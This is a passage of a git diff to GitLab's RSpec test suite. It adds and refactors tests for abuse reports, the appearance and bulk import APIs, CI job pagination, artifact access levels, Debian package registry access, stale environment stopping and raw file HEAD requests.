+ expect(assigns(:abuse_report)).to be_kind_of(AbuseReport)
+ expect(assigns(:abuse_report)).to have_attributes(
+ user_id: user.id,
+ category: abuse_category,
+ reported_from_url: ref_url
+ )
+ end
+ end
+
+ context 'when abuse_report is missing in params' do
+ let(:request_params) { { user_id: user.id } }
+
+ it 'raises an error' do
+ expect { subject }.to raise_error(ActionController::ParameterMissing)
+ end
+ end
+
+ context 'when user_id is missing in params' do
+ let(:request_params) { { abuse_report: { category: abuse_category } } }
+
+ it 'redirects the reporter to root_path' do
+ subject
+
+ expect(response).to redirect_to root_path
+ expect(flash[:alert]).to eq(_('Cannot create the abuse report. The user has been deleted.'))
+ end
+ end
+
+ context 'when the user has already been deleted' do
+ let(:request_params) { { user_id: user.id, abuse_report: { category: abuse_category } } }
+
+ it 'redirects the reporter to root_path' do
+ user.destroy!
+
+ subject
+
+ expect(response).to redirect_to root_path
+ expect(flash[:alert]).to eq(_('Cannot create the abuse report. The user has been deleted.'))
+ end
+ end
+
+ context 'when the user has already been blocked' do
+ let(:request_params) { { user_id: user.id, abuse_report: { category: abuse_category } } }
+
+ it 'redirects the reporter to the user\'s profile' do
+ user.block
+
+ subject
+
+ expect(response).to redirect_to user
+ expect(flash[:alert]).to eq(_('Cannot create the abuse report. This user has been blocked.'))
+ end
+ end
+ end
+
describe 'POST create' do
context 'with valid attributes' do
it 'saves the abuse report' do
diff --git a/spec/requests/api/appearance_spec.rb b/spec/requests/api/appearance_spec.rb
index 84d5b091b8d..5aba7e096a7 100644
--- a/spec/requests/api/appearance_spec.rb
+++ b/spec/requests/api/appearance_spec.rb
@@ -23,6 +23,7 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
expect(json_response).to be_an Hash
expect(json_response['description']).to eq('')
expect(json_response['email_header_and_footer_enabled']).to be(false)
+ expect(json_response['pwa_icon']).to be_nil
expect(json_response['favicon']).to be_nil
expect(json_response['footer_message']).to eq('')
expect(json_response['header_logo']).to be_nil
@@ -33,7 +34,7 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
expect(json_response['new_project_guidelines']).to eq('')
expect(json_response['profile_image_guidelines']).to eq('')
expect(json_response['title']).to eq('')
- expect(json_response['short_title']).to eq('')
+ expect(json_response['pwa_short_name']).to eq('')
end
end
end
@@ -52,7 +53,7 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
it "allows updating the settings" do
put api("/application/appearance", admin), params: {
title: "GitLab Test Instance",
- short_title: "GitLab",
+ pwa_short_name: "GitLab PWA",
description: "gitlab-test.example.com",
new_project_guidelines: "Please read the FAQs for help.",
profile_image_guidelines: "Custom profile image guidelines"
@@ -62,6 +63,7 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
expect(json_response).to be_an Hash
expect(json_response['description']).to eq('gitlab-test.example.com')
expect(json_response['email_header_and_footer_enabled']).to be(false)
+ expect(json_response['pwa_icon']).to be_nil
expect(json_response['favicon']).to be_nil
expect(json_response['footer_message']).to eq('')
expect(json_response['header_logo']).to be_nil
@@ -72,7 +74,7 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
expect(json_response['new_project_guidelines']).to eq('Please read the FAQs for help.')
expect(json_response['profile_image_guidelines']).to eq('Custom profile image guidelines')
expect(json_response['title']).to eq('GitLab Test Instance')
- expect(json_response['short_title']).to eq('GitLab')
+ expect(json_response['pwa_short_name']).to eq('GitLab PWA')
end
end
@@ -118,12 +120,14 @@ RSpec.describe API::Appearance, 'Appearance', feature_category: :navigation do
put api("/application/appearance", admin), params: {
logo: fixture_file_upload("spec/fixtures/dk.png", "image/png"),
header_logo: fixture_file_upload("spec/fixtures/dk.png", "image/png"),
+ pwa_icon: fixture_file_upload("spec/fixtures/dk.png", "image/png"),
favicon: fixture_file_upload("spec/fixtures/dk.png", "image/png")
}
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['logo']).to eq("/uploads/-/system/appearance/logo/#{appearance.id}/dk.png")
expect(json_response['header_logo']).to eq("/uploads/-/system/appearance/header_logo/#{appearance.id}/dk.png")
+ expect(json_response['pwa_icon']).to eq("/uploads/-/system/appearance/pwa_icon/#{appearance.id}/dk.png")
expect(json_response['favicon']).to eq("/uploads/-/system/appearance/favicon/#{appearance.id}/dk.png")
end
diff --git a/spec/requests/api/boards_spec.rb b/spec/requests/api/boards_spec.rb
index 69804c2c4a4..5f2ff22d0db 100644
--- a/spec/requests/api/boards_spec.rb
+++ b/spec/requests/api/boards_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe API::Boards, feature_category: :team_planning do
+RSpec.describe API::Boards, :with_license, feature_category: :team_planning do
let_it_be(:user) { create(:user) }
let_it_be(:non_member) { create(:user) }
let_it_be(:guest) { create(:user) }
diff --git a/spec/requests/api/bulk_imports_spec.rb b/spec/requests/api/bulk_imports_spec.rb
index 13f079c69e7..4fb4fbe6d5c 100644
--- a/spec/requests/api/bulk_imports_spec.rb
+++ b/spec/requests/api/bulk_imports_spec.rb
@@ -11,9 +11,26 @@ RSpec.describe API::BulkImports, feature_category: :importers do
let_it_be(:entity_3) { create(:bulk_import_entity, bulk_import: import_2) }
let_it_be(:failure_3) { create(:bulk_import_failure, entity: entity_3) }
+ before do
+ stub_application_setting(bulk_import_enabled: true)
+ end
+
+ shared_examples 'disabled feature' do
+ it 'returns 404' do
+ stub_application_setting(bulk_import_enabled: false)
+
+ request
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
describe 'GET /bulk_imports' do
+ let(:request) { get api('/bulk_imports', user), params: params }
+ let(:params) { {} }
+
it 'returns a list of bulk imports authored by the user' do
- get api('/bulk_imports', user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response.pluck('id')).to contain_exactly(import_1.id, import_2.id)
@@ -21,26 +38,38 @@ RSpec.describe API::BulkImports, feature_category: :importers do
context 'sort parameter' do
it 'sorts by created_at descending by default' do
- get api('/bulk_imports', user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response.pluck('id')).to eq([import_2.id, import_1.id])
end
- it 'sorts by created_at descending when explicitly specified' do
- get api('/bulk_imports', user), params: { sort: 'desc' }
+ context 'when explicitly specified' do
+ context 'when descending' do
+ let(:params) { { sort: 'desc' } }
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.pluck('id')).to eq([import_2.id, import_1.id])
- end
+ it 'sorts by created_at descending' do
+ request
- it 'sorts by created_at ascending when explicitly specified' do
- get api('/bulk_imports', user), params: { sort: 'asc' }
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.pluck('id')).to match_array([import_2.id, import_1.id])
+ end
+ end
- expect(response).to have_gitlab_http_status(:ok)
- expect(json_response.pluck('id')).to eq([import_1.id, import_2.id])
+ context 'when ascending' do
+ let(:params) { { sort: 'asc' } }
+
+ it 'sorts by created_at ascending when explicitly specified' do
+ request
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.pluck('id')).to match_array([import_1.id, import_2.id])
+ end
+ end
end
end
+
+ include_examples 'disabled feature'
end
describe 'POST /bulk_imports' do
@@ -56,21 +85,10 @@ RSpec.describe API::BulkImports, feature_category: :importers do
end
end
- context 'when bulk_import feature flag is disabled' do
- before do
- stub_feature_flags(bulk_import: false)
- end
-
- it 'returns 404' do
- post api('/bulk_imports', user), params: {}
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
-
shared_examples 'starting a new migration' do
- it 'starts a new migration' do
- post api('/bulk_imports', user), params: {
+ let(:request) { post api('/bulk_imports', user), params: params }
+ let(:params) do
+ {
configuration: {
url: 'http://gitlab.example',
access_token: 'access_token'
@@ -83,11 +101,45 @@ RSpec.describe API::BulkImports, feature_category: :importers do
}.merge(destination_param)
]
}
+ end
+
+ it 'starts a new migration' do
+ request
expect(response).to have_gitlab_http_status(:created)
expect(json_response['status']).to eq('created')
end
+
+ describe 'migrate projects flag' do
+ context 'when true' do
+ it 'sets true' do
+ params[:entities][0][:migrate_projects] = true
+
+ request
+
+ expect(user.bulk_imports.last.entities.pluck(:migrate_projects)).to contain_exactly(true)
+ end
+ end
+
+ context 'when false' do
+ it 'sets false' do
+ params[:entities][0][:migrate_projects] = false
+
+ request
+
+ expect(user.bulk_imports.last.entities.pluck(:migrate_projects)).to contain_exactly(false)
+ end
+ end
+
+ context 'when unspecified' do
+ it 'sets true' do
+ request
+
+ expect(user.bulk_imports.last.entities.pluck(:migrate_projects)).to contain_exactly(true)
+ end
+ end
+ end
end
include_examples 'starting a new migration' do
@@ -99,8 +151,8 @@ RSpec.describe API::BulkImports, feature_category: :importers do
end
context 'when both destination_name & destination_slug are provided' do
- it 'returns a mutually exclusive error' do
- post api('/bulk_imports', user), params: {
+ let(:params) do
+ {
configuration: {
url: 'http://gitlab.example',
access_token: 'access_token'
@@ -115,6 +167,10 @@ RSpec.describe API::BulkImports, feature_category: :importers do
}
]
}
+ end
+
+ it 'returns a mutually exclusive error' do
+ request
expect(response).to have_gitlab_http_status(:bad_request)
@@ -123,8 +179,8 @@ RSpec.describe API::BulkImports, feature_category: :importers do
end
context 'when neither destination_name nor destination_slug is provided' do
- it 'returns at_least_one_of error' do
- post api('/bulk_imports', user), params: {
+ let(:params) do
+ {
configuration: {
url: 'http://gitlab.example',
access_token: 'access_token'
@@ -137,6 +193,10 @@ RSpec.describe API::BulkImports, feature_category: :importers do
}
]
}
+ end
+
+ it 'returns at_least_one_of error' do
+ request
expect(response).to have_gitlab_http_status(:bad_request)
@@ -144,9 +204,57 @@ RSpec.describe API::BulkImports, feature_category: :importers do
end
end
+ context 'when the source_full_path is invalid' do
+ it 'returns invalid error' do
+ params[:entities][0][:source_full_path] = 'http://example.com/full_path'
+
+ request
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq("entities[0][source_full_path] must be a relative path and not include protocol, sub-domain, " \
+ "or domain information. E.g. 'source/full/path' not 'https://example.com/source/full/path'")
+ end
+ end
+
+ context 'when the destination_namespace is invalid' do
+ it 'returns invalid error' do
+ params[:entities][0][:destination_namespace] = "?not a destination-namespace"
+
+ request
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to eq("entities[0][destination_namespace] cannot start with a dash or forward slash, " \
+ "or end with a period or forward slash. It can only contain alphanumeric " \
+ "characters, periods, underscores, forward slashes and dashes. " \
+ "E.g. 'destination_namespace' or 'destination/namespace'")
+ end
+ end
+
+ context 'when the destination_namespace is an empty string' do
+ it 'accepts the param and starts a new migration' do
+ params[:entities][0][:destination_namespace] = ''
+
+ request
+ expect(response).to have_gitlab_http_status(:created)
+
+ expect(json_response['status']).to eq('created')
+ end
+ end
+
+ context 'when the destination_slug is invalid' do
+ it 'returns invalid error' do
+ params[:entities][0][:destination_slug] = 'des?tin?atoi-slugg'
+
+ request
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['error']).to include("entities[0][destination_slug] cannot start with a dash " \
+ "or forward slash, or end with a period or forward slash. " \
+ "It can only contain alphanumeric characters, periods, underscores, and dashes. " \
+ "E.g. 'destination_namespace' not 'destination/namespace'")
+ end
+ end
+
context 'when provided url is blocked' do
- it 'returns blocked url error' do
- post api('/bulk_imports', user), params: {
+ let(:params) do
+ {
configuration: {
url: 'url',
access_token: 'access_token'
@@ -158,49 +266,71 @@ RSpec.describe API::BulkImports, feature_category: :importers do
destination_namespace: 'destination_namespace'
]
}
+ end
+
+ it 'returns blocked url error' do
+ request
expect(response).to have_gitlab_http_status(:unprocessable_entity)
expect(json_response['message']).to eq('Validation failed: Url is blocked: Only allowed schemes are http, https')
end
end
+
+ include_examples 'disabled feature'
end
describe 'GET /bulk_imports/entities' do
+ let(:request) { get api('/bulk_imports/entities', user) }
+
it 'returns a list of all import entities authored by the user' do
- get api('/bulk_imports/entities', user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response.pluck('id')).to contain_exactly(entity_1.id, entity_2.id, entity_3.id)
end
+
+ include_examples 'disabled feature'
end
describe 'GET /bulk_imports/:id' do
+ let(:request) { get api("/bulk_imports/#{import_1.id}", user) }
+
it 'returns specified bulk import' do
- get api("/bulk_imports/#{import_1.id}", user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['id']).to eq(import_1.id)
end
+
+ include_examples 'disabled feature'
end
describe 'GET /bulk_imports/:id/entities' do
+ let(:request) { get api("/bulk_imports/#{import_2.id}/entities", user) }
+
it 'returns specified bulk import entities with failures' do
- get api("/bulk_imports/#{import_2.id}/entities", user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response.pluck('id')).to contain_exactly(entity_3.id)
expect(json_response.first['failures'].first['exception_class']).to eq(failure_3.exception_class)
end
+
+ include_examples 'disabled feature'
end
describe 'GET /bulk_imports/:id/entities/:entity_id' do
+ let(:request) { get api("/bulk_imports/#{import_1.id}/entities/#{entity_2.id}", user) }
+
it 'returns specified bulk import entity' do
- get api("/bulk_imports/#{import_1.id}/entities/#{entity_2.id}", user)
+ request
expect(response).to have_gitlab_http_status(:ok)
expect(json_response['id']).to eq(entity_2.id)
end
+
+ include_examples 'disabled feature'
end
context 'when user is unauthenticated' do
diff --git a/spec/requests/api/ci/jobs_spec.rb b/spec/requests/api/ci/jobs_spec.rb
index 4e348ae64b6..875bfc5b94f 100644
--- a/spec/requests/api/ci/jobs_spec.rb
+++ b/spec/requests/api/ci/jobs_spec.rb
@@ -487,6 +487,76 @@ RSpec.describe API::Ci::Jobs, feature_category: :continuous_integration do
end
end
+ describe 'GET /projects/:id/jobs offset pagination' do
+ before do
+ running_job
+ end
+
+ it 'returns one record for the first page' do
+ get api("/projects/#{project.id}/jobs", api_user), params: { per_page: 1 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(running_job.id)
+ end
+
+ it 'returns second record when passed in offset and per_page params' do
+ get api("/projects/#{project.id}/jobs", api_user), params: { page: 2, per_page: 1 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(job.id)
+ end
+ end
+
+ describe 'GET /projects/:id/jobs keyset pagination' do
+ before do
+ running_job
+ end
+
+ it 'returns first page with cursor to next page' do
+ get api("/projects/#{project.id}/jobs", api_user), params: { pagination: 'keyset', per_page: 1 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(running_job.id)
+ expect(response.headers["Link"]).to include("cursor")
+ next_cursor = response.headers["Link"].match("(?<cursor_data>cursor=.*?)&")["cursor_data"]
+
+ get api("/projects/#{project.id}/jobs", api_user), params: { pagination: 'keyset', per_page: 1 }.merge(Rack::Utils.parse_query(next_cursor))
+
+ expect(response).to have_gitlab_http_status(:ok)
+ json_response = Gitlab::Json.parse(response.body)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(job.id)
+ expect(response.headers).not_to include("Link")
+ end
+
+ it 'respects scope filters' do
+ get api("/projects/#{project.id}/jobs", api_user), params: { pagination: 'keyset', scope: ['success'] }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(job.id)
+ expect(response.headers).not_to include("Link")
+ end
+
+ context 'with :jobs_api_keyset_pagination disabled' do
+ before do
+ stub_feature_flags(jobs_api_keyset_pagination: false)
+ end
+
+ it 'defaults to offset pagination' do
+ get api("/projects/#{project.id}/jobs", api_user), params: { pagination: 'keyset', per_page: 1 }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(json_response.size).to eq(1)
+ expect(json_response.first['id']).to eq(running_job.id)
+ expect(response.headers["Link"]).not_to include("cursor")
+ end
+ end
+ end
+
describe 'GET /projects/:id/jobs rate limited' do
let(:query) { {} }
diff --git a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
index 1c119079c50..3d3d699542b 100644
--- a/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
+++ b/spec/requests/api/ci/runner/jobs_artifacts_spec.rb
@@ -575,6 +575,45 @@ RSpec.describe API::Ci::Runner, :clean_gitlab_redis_shared_state, feature_catego
end
end
+ context 'when access level is private' do
+ subject(:request) { upload_artifacts(file_upload, headers_with_token, params) }
+
+ let(:params) { { artifact_type: :archive, artifact_format: :zip, accessibility: 'private' } }
+
+ it 'sets job artifact access level to private' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(job.reload.job_artifacts_archive).to be_private_accessibility
+ end
+ end
+
+ context 'when access level is public' do
+ subject(:request) { upload_artifacts(file_upload, headers_with_token, params) }
+
+ let(:params) { { artifact_type: :archive, artifact_format: :zip, accessibility: 'public' } }
+
+ it 'sets job artifact access level to public' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(job.reload.job_artifacts_archive).to be_public_accessibility
+ end
+ end
+
+ context 'when access level is unknown' do
+ subject(:request) { upload_artifacts(file_upload, headers_with_token, params) }
+
+ let(:params) { { artifact_type: :archive, artifact_format: :zip } }
+
+ it 'sets job artifact access level to public' do
+ subject
+
+ expect(response).to have_gitlab_http_status(:created)
+ expect(job.reload.job_artifacts_archive).to be_public_accessibility
+ end
+ end
+
context 'when artifact_type is archive' do
context 'when artifact_format is zip' do
subject(:request) { upload_artifacts(file_upload, headers_with_token, params) }
diff --git a/spec/requests/api/commits_spec.rb b/spec/requests/api/commits_spec.rb
index 5874d764b00..3932abd20cc 100644
--- a/spec/requests/api/commits_spec.rb
+++ b/spec/requests/api/commits_spec.rb
@@ -2337,18 +2337,6 @@ RSpec.describe API::Commits, feature_category: :source_code_management do
expect(json_response['commit_source']).to eq('gitaly')
end
end
-
- context 'when feature flag is disabled' do
- before do
- stub_feature_flags(ssh_commit_signatures: false)
- end
-
- it 'returns 404' do
- get api(route, current_user)
-
- expect(response).to have_gitlab_http_status(:not_found)
- end
- end
end
end
end
diff --git a/spec/requests/api/debian_project_packages_spec.rb b/spec/requests/api/debian_project_packages_spec.rb
index c27e165b39b..5258d26be17 100644
--- a/spec/requests/api/debian_project_packages_spec.rb
+++ b/spec/requests/api/debian_project_packages_spec.rb
@@ -5,7 +5,17 @@ RSpec.describe API::DebianProjectPackages, feature_category: :package_registry d
include HttpBasicAuthHelpers
include WorkhorseHelpers
- include_context 'Debian repository shared context', :project, true do
+ include_context 'Debian repository shared context', :project, false do
+ shared_examples 'accept GET request on private project with access to package registry for everyone' do
+ include_context 'Debian repository access', :private, :anonymous, :basic do
+ before do
+ container.project_feature.reload.update!(package_registry_access_level: ProjectFeature::PUBLIC)
+ end
+
+ it_behaves_like 'Debian packages GET request', :success
+ end
+ end
+
context 'with invalid parameter' do
let(:url) { "/projects/1/packages/debian/dists/with+space/InRelease" }
@@ -16,54 +26,63 @@ RSpec.describe API::DebianProjectPackages, feature_category: :package_registry d
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/Release.gpg" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^-----BEGIN PGP SIGNATURE-----/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/Release' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/Release" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^Codename: fixture-distribution\n$/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/InRelease' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/InRelease" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^-----BEGIN PGP SIGNED MESSAGE-----/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/binary-:architecture/Packages' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/binary-#{architecture.name}/Packages" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /Description: This is an incomplete Packages file/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/binary-:architecture/by-hash/SHA256/:file_sha256' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/binary-#{architecture.name}/by-hash/SHA256/#{component_file_older_sha256.file_sha256}" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^Other SHA256$/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
- describe 'GET projects/:id/packages/debian/dists/*distribution/source/Sources' do
+ describe 'GET projects/:id/packages/debian/dists/*distribution/:component/source/Sources' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/source/Sources" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /Description: This is an incomplete Sources file/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
- describe 'GET projects/:id/packages/debian/dists/*distribution/source/by-hash/SHA256/:file_sha256' do
+ describe 'GET projects/:id/packages/debian/dists/*distribution/:component/source/by-hash/SHA256/:file_sha256' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/source/by-hash/SHA256/#{component_file_sources_older_sha256.file_sha256}" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^Other SHA256$/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/debian-installer/binary-:architecture/Packages' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/debian-installer/binary-#{architecture.name}/Packages" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /Description: This is an incomplete D-I Packages file/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/dists/*distribution/:component/debian-installer/binary-:architecture/by-hash/SHA256/:file_sha256' do
let(:url) { "/projects/#{container.id}/packages/debian/dists/#{distribution.codename}/#{component.name}/debian-installer/binary-#{architecture.name}/by-hash/SHA256/#{component_file_di_older_sha256.file_sha256}" }
it_behaves_like 'Debian packages read endpoint', 'GET', :success, /^Other SHA256$/
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone'
end
describe 'GET projects/:id/packages/debian/pool/:codename/:letter/:package_name/:package_version/:file_name' do
@@ -90,6 +109,10 @@ RSpec.describe API::DebianProjectPackages, feature_category: :package_registry d
end
end
end
+
+ it_behaves_like 'accept GET request on private project with access to package registry for everyone' do
+ let(:file_name) { 'sample_1.2.3~alpha2.dsc' }
+ end
end
describe 'PUT projects/:id/packages/debian/:file_name' do
diff --git a/spec/requests/api/environments_spec.rb b/spec/requests/api/environments_spec.rb
index d06e70a1a02..6164555ad19 100644
--- a/spec/requests/api/environments_spec.rb
+++ b/spec/requests/api/environments_spec.rb
@@ -4,12 +4,14 @@ require 'spec_helper'
RSpec.describe API::Environments, feature_category: :continuous_delivery do
let_it_be(:user) { create(:user) }
+ let_it_be(:developer) { create(:user) }
let_it_be(:non_member) { create(:user) }
let_it_be(:project) { create(:project, :private, :repository, namespace: user.namespace) }
let_it_be_with_reload(:environment) { create(:environment, project: project) }
before do
project.add_maintainer(user)
+ project.add_developer(developer)
end
describe 'GET /projects/:id/environments', :aggregate_failures do
@@ -69,6 +71,34 @@ RSpec.describe API::Environments, feature_category: :continuous_delivery do
expect(json_response.size).to eq(0)
end
+ context "when params[:search] is less than #{described_class::MIN_SEARCH_LENGTH} characters" do
+ before do
+ stub_feature_flags(environment_search_api_min_chars: false)
+ end
+
+ it 'returns a normal response' do
+ get api("/projects/#{project.id}/environments?search=ab", user)
+
+ expect(response).to have_gitlab_http_status(:ok)
+ expect(response).to include_pagination_headers
+ expect(json_response).to be_an Array
+ expect(json_response.size).to eq(0)
+ end
+
+ context 'and environment_search_api_min_chars flag is enabled for the project' do
+ before do
+ stub_feature_flags(environment_search_api_min_chars: project)
+ end
+
+ it 'returns with status 400' do
+ get api("/projects/#{project.id}/environments?search=ab", user)
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to include("Search query is less than #{described_class::MIN_SEARCH_LENGTH} characters")
+ end
+ end
+ end
+
it 'returns environment by valid state' do
get api("/projects/#{project.id}/environments?states=available", user)
@@ -154,6 +184,50 @@ RSpec.describe API::Environments, feature_category: :continuous_delivery do
end
end
+ describe 'POST /projects/:id/environments/stop_stale' do
+ context 'as a maintainer' do
+ it 'returns a 200' do
+ post api("/projects/#{project.id}/environments/stop_stale", user), params: { before: 1.week.ago.to_date.to_s }
+
+ expect(response).to have_gitlab_http_status(:ok)
+ end
+
+ it 'returns a 400 for bad input date' do
+ post api("/projects/#{project.id}/environments/stop_stale", user), params: { before: 1.day.ago.to_date.to_s }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to eq('400 Bad request - Invalid Date')
+ end
+
+ it 'returns a 400 for service error' do
+ expect_next_instance_of(::Environments::StopStaleService) do |service|
+ expect(service).to receive(:execute).and_return(ServiceResponse.error(message: 'Test Error'))
+ end
+
+ post api("/projects/#{project.id}/environments/stop_stale", user), params: { before: 1.week.ago.to_date.to_s }
+
+ expect(response).to have_gitlab_http_status(:bad_request)
+ expect(json_response['message']).to eq('Test Error')
+ end
+ end
+
+ context 'a non member' do
+ it 'rejects the request' do
+ post api("/projects/#{project.id}/environments/stop_stale", non_member), params: { before: 1.week.ago.to_date.to_s }
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+ end
+
+ context 'a developer' do
+ it 'rejects the request' do
+ post api("/projects/#{project.id}/environments/stop_stale", developer), params: { before: 1.week.ago.to_date.to_s }
+
+ expect(response).to have_gitlab_http_status(:forbidden)
+ end
+ end
+ end
+
describe 'PUT /projects/:id/environments/:environment_id' do
it 'returns a 200 if name and external_url are changed' do
url = 'https://mepmep.whatever.ninja'
diff --git a/spec/requests/api/files_spec.rb b/spec/requests/api/files_spec.rb
index 9cee3c06bb1..f4066c54c47 100644
--- a/spec/requests/api/files_spec.rb
+++ b/spec/requests/api/files_spec.rb
@@ -6,6 +6,24 @@ RSpec.describe API::Files, feature_category: :source_code_management do
include RepoHelpers
let_it_be(:group) { create(:group, :public) }
+ let(:helper) do
+ fake_class = Class.new do
+ include ::API::Helpers::HeadersHelpers
+
+ attr_reader :headers
+
+ def initialize
+ @headers = {}
+ end
+
+ def header(key, value)
+ @headers[key] = value
+ end
+ end
+
+ fake_class.new
+ end
+
let_it_be_with_refind(:user) { create(:user) }
let_it_be(:inherited_guest) { create(:user) }
let_it_be(:inherited_reporter) { create(:user) }
@@ -37,25 +55,9 @@ RSpec.describe API::Files, feature_category: :source_code_management do
}
end
- let(:author_email) { 'user@example.org' }
- let(:author_name) { 'John Doe' }
-
- let(:helper) do
- fake_class = Class.new do
- include ::API::Helpers::HeadersHelpers
-
- attr_reader :headers
-
- def initialize
- @headers = {}
- end
-
- def header(key, value)
- @headers[key] = value
- end
- end
-
- fake_class.new
+ shared_context 'with author parameters' do
+ let(:author_email) { 'user@example.org' }
+ let(:author_name) { 'John Doe' }
end
before_all do
@@ -702,6 +704,80 @@ RSpec.describe API::Files, feature_category: :source_code_management do
end
end
+ describe 'HEAD /projects/:id/repository/files/:file_path/raw' do
+ let(:request) { head api(route(file_path) + '/raw', current_user), params: params }
+
+ describe 'response headers' do
+ subject { response.headers }
+
+ context 'and user is a developer' do
+ let(:current_user) { user }
+
+ it 'responds with blob data' do
+ request
+ headers = response.headers
+ expect(headers['X-Gitlab-File-Name']).to eq(file_name)
+ expect(headers['X-Gitlab-File-Path']).to eq('files/ruby/popen.rb')
+ expect(headers['X-Gitlab-Content-Sha256']).to eq('c440cd09bae50c4632cc58638ad33c6aa375b6109d811e76a9cc3a613c1e8887')
+ expect(headers['X-Gitlab-Ref']).to eq('master')
+ expect(headers['X-Gitlab-Blob-Id']).to eq('7e3e39ebb9b2bf433b4ad17313770fbe4051649c')
+ expect(headers['X-Gitlab-Commit-Id']).to eq(project.repository.commit.id)
+ expect(headers['X-Gitlab-Last-Commit-Id']).to eq('570e7b2abdd848b95f2f578043fc23bd6f6fd24d')
+ end
+
+ context 'when lfs parameter is true and the project has lfs enabled' do
+ before do
+ allow(Gitlab.config.lfs).to receive(:enabled).and_return(true)
+ project.update_attribute(:lfs_enabled, true)
+ end
+
+ let(:request) { head api(route('files%2Flfs%2Flfs_object.iso') + '/raw', current_user), params: params.merge(lfs: true) }
+
+ context 'and the file has an lfs object' do
+ let_it_be(:lfs_object) { create(:lfs_object, :with_file, oid: '91eff75a492a3ed0dfcb544d7f31326bc4014c8551849c192fd1e48d4dd2c897') }
+
+ it 'responds with 404' do
+ request
+
+ expect(response).to have_gitlab_http_status(:not_found)
+ end
+
+ context 'and the project has access to the lfs object' do
+ before do
+ project.lfs_objects << lfs_object
+ end
+
+ context 'and lfs uses AWS' do
+ before do
+ stub_lfs_object_storage(config: Gitlab.config.lfs.object_store.merge(connection: {
+ provider: 'AWS',
+ aws_access_key_id: '',
+ aws_secret_access_key: ''
+ }))
+ lfs_object.file.migrate!(LfsObjectUploader::Store::REMOTE)
+ end
+
+ it 'redirects to the lfs object file with a signed url' do
+ request
+
+ expect(response).to have_gitlab_http_status(:found)
+ expect(response.location).to include(lfs_object.reload.file.path)
+ expect(response.location).to include('X-Amz-SignedHeaders')
+ end
+ end
+ end
+ end
+ end
+ end
+
+ context 'and user is a guest' do
+ it_behaves_like '403 response' do
+ let(:request) { head api(route(file_path), guest), params: params }
+ end
+ end
+ end
+ end
+
describe 'GET /projects/:id/repository/files/:file_path/raw' do
